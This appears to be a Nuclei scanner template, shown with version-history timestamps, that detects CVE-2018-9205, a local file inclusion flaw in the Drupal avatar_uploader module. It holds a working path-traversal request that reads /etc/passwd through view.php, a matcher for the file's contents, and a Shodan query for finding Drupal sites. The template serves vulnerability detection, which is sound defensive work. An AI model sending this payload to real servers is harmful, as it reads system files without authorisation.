2021-10-11 11:22:14 +00:00
|
|
|
id: CVE-2018-9205
|
|
|
|
|
|
|
|
info:
|
2022-05-13 20:26:43 +00:00
|
|
|
name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion
|
2021-10-11 11:22:14 +00:00
|
|
|
author: daffainfo
|
|
|
|
severity: high
|
2022-02-25 22:07:55 +00:00
|
|
|
description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
|
2021-10-11 11:22:14 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/44501
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-9205
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://www.drupal.org/project/avatar_uploader/issues/2957966
|
|
|
|
- https://www.drupal.org/project/avatar_uploader
|
|
|
|
remediation: Upgrade to the latest version of avatar_uploader.
|
2021-10-11 11:27:30 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 7.5
|
2021-10-11 11:27:30 +00:00
|
|
|
cve-id: CVE-2018-9205
|
|
|
|
cwe-id: CWE-22
|
2022-07-07 06:45:46 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 1
|
2022-07-07 06:45:46 +00:00
|
|
|
shodan-query: http.component:"drupal"
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: cve,cve2018,lfi,drupal,edb
|
2021-10-11 11:22:14 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-10-11 11:22:14 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-10-11 11:22:14 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|